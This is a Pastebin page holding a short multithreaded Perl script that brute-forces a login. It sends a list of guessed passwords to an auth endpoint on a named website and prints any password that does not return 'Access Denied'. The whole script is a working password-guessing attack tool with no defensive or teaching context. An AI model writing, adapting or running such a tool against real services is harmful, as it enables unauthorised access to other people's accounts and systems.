Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- use strict;
- use warnings;
- use threads;
- use Thread::Queue;
- #use threads::shared;
- my @passes=qw(foo bar baz boo baa bum sim sala bim);
- foreach my $pass(@passes){
- do{} until threads->list(threads::running)<10;
- my $thr = threads->create('doshit',($pass));
- foreach(threads->list(threads::joinable)){
- $_->join();
- }
- }
- do{sleep 1}while(threads->list(threads::running)!=0);
- sub doshit(){
- my($pass)=@_;
- #print 'Trying: ' . $pass . "\n";
- use LWP::Simple;
- my $raw = get 'http://www.projectprometheus.com/245409/interface.php?action=auth&p=' . $pass;
- #print '--->' . $raw . "\n";
- use JSON;
- my $json = ();
- eval{$json = JSON->new->utf8(1)->decode($raw)};
- if(defined $json->{'message'}){
- if($json->{'message'} eq 'Access Denied'){
- #print 'FAIL: ' . $pass . "\n";
- }else{
- print 'SUCCESS: ' . $pass . "\n";
- die;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement